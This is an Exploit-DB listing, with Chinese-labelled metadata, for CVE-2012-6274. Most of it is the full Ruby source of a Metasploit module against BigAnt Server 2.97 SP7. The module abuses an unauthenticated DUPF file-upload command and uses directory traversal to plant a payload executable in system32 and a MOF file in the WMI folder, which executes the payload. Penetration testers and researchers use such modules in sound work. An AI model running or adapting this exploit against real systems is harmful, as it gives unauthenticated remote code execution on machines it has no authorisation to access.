标题: BigAnt Server 2.97 - DUPF Command Arbitrary File Upload (Metasploit) EDB-ID: 24528 CVE: 2012-6274 类型: REMOTE 平台: WINDOWS 发布日期: 2013-02-20 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::EXE
 include Msf::Exploit::WbemExec
 include Msf::Exploit::FileDropper

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BigAnt Server DUPF Command Arbitrary File Upload',
   'Description'    => %q{
     This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.
    A lack of authentication allows to make unauthenticated file uploads through a DUPF
    command. Additionally the filename option in the same command can be used to launch
    a directory traversal attack and achieve arbitrary file upload.

    The module uses uses the Windows Management Instrumentation service to execute an
    arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It
    has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003
    SP2.
   },
   'Author'         =>
    [
     'Hamburgers Maccoy', # Vulnerability discovery
     'juan vazquez'       # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2012-6274' ],
     [ 'US-CERT-VU', '990652' ],
     [ 'BID', '57214' ],
     [ 'OSVDB', '89342' ]
    ],
   'Privileged'     => true,
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'BigAnt Server 2.97 SP7', { } ]
    ],
   'DefaultTarget' => 0,
   'DefaultOptions'  =>
    {
     'WfsDelay' => 10
    },
   'DisclosureDate' => 'Jan 09 2013'))

  register_options(
   [
    Opt::RPORT(6661),
    OptInt.new('DEPTH', [true, "Levels to reach base directory", 6])
   ], self.class)

 end

 def upload_file(filename, content)

  random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"

  dupf = "DUPF 16\n"
  dupf << "cmdid: 1\n"
  dupf << "content-length: #{content.length}\n"
  dupf << "content-type: Appliction/Download\n"
  dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n"
  dupf << "modified: #{random_date}\n"
  dupf << "pclassid: 102\n"
  dupf << "pobjid: 1\n"
  dupf << "rootid: 1\n"
  dupf << "sendcheck: 1\n\n"
  dupf << content

  print_status("sending DUPF")
  connect
  sock.put(dupf)
  res = sock.get_once
  disconnect
  return res

 end

 def exploit

  peer = "#{rhost}:#{rport}"

  # Setup the necessary files to do the wbemexec trick
  exe_name = rand_text_alpha(rand(10)+5) + '.exe'
  exe      = generate_payload_exe
  mof_name = rand_text_alpha(rand(10)+5) + '.mof'
  mof      = generate_mof(mof_name, exe_name)

  print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
  res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
  if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
   print_good("#{peer} - #{exe_name} uploaded successfully")
  else
   if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
    print_error("#{peer} - Upload failed, check the DEPTH option")
   end
   fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}")
  end

  print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
  res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
  if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
   print_good("#{peer} - #{mof_name} uploaded successfully")
   register_file_for_cleanup(exe_name)
   register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
  else
   if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
    print_error("#{peer} - Upload failed, check the DEPTH option")
   end
   fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}")
  end

 end

end URL: https://www.exploit-db.com/exploits/24528